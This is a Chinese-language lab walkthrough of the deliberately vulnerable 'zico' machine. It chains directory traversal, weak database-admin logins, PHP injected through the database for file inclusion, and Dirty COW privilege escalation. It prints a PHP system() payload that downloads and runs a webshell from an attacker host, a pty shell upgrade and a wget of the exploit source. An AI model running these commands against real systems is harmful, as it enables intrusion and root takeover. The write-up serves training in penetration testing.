任务环境
- 攻击机:Kali2019
- 靶机:zico
- 涉及知识点:目录遍历、文件包含、数据库插马拿shell、脏牛提权
信息收集
- 获取靶机的IP地址以及端口服务信息
- 开放了22、80、111端口,接着扫一下Web目录
这里发现了一个类似于数据库管理的页面,这里就是我们的切入点了。
漏洞挖掘
-
先用owasp-zap扫一下
这里有一个目录遍历,我们去看一下。
这里成功遍历了/etc/passwd/这个文件,也就是说我们只要找到一个上传点,吧webshell传上去,就可以拿到权限了。 -
访问dbadmin寻找漏洞
直接试一下弱口令就登录成功了,在数据库页面我们找到了root与zico的密码,直接MD5解密尝试登录。
这是root的密码:
这是zico的密码:
分别SSH登录一下
这里都失败了,给了两个假密码,那就只能数据库插马提权了。
漏洞利用
先数据库插一句phpinfo试一下效果,看看能不能包含出来。
这里成功验证了文件包含漏洞,接着我们开启apache服务。
把kali中自带的webshell拷贝到桌面并改名为shell.php备用。
然后去数据库管理界面
新建一个名为shell.php的数据库
新建一张shell表
字段内容为:
<?php system("cd /tmp;wget http://192.168.1.106/shell.php;chmod +x shell.php;php shell.php");?>
这段php代码的意思是,从我们的攻击机下载shell.php到tmp目录并执行它。现在我们在靶机上开启监听,等待靶机执行webshell。
获得权限
在靶机上找到之前可以远程包含的页面,访问新增加的php代码。
成功获得权限,这里我们优化一下界面
python -c "import pty;pty.spawn('/bin/bash')"
权限提升
这里我们使用脏牛来提权,使靶机下载我们服务器上的exp
扫描二维码关注公众号,回复:
10401807 查看本文章
wget http://192.168.1.106/dirty.c
这里已经成功创建了一个firefart用户,是root权限,我们直接ssh,成功拿到flag与zico的密码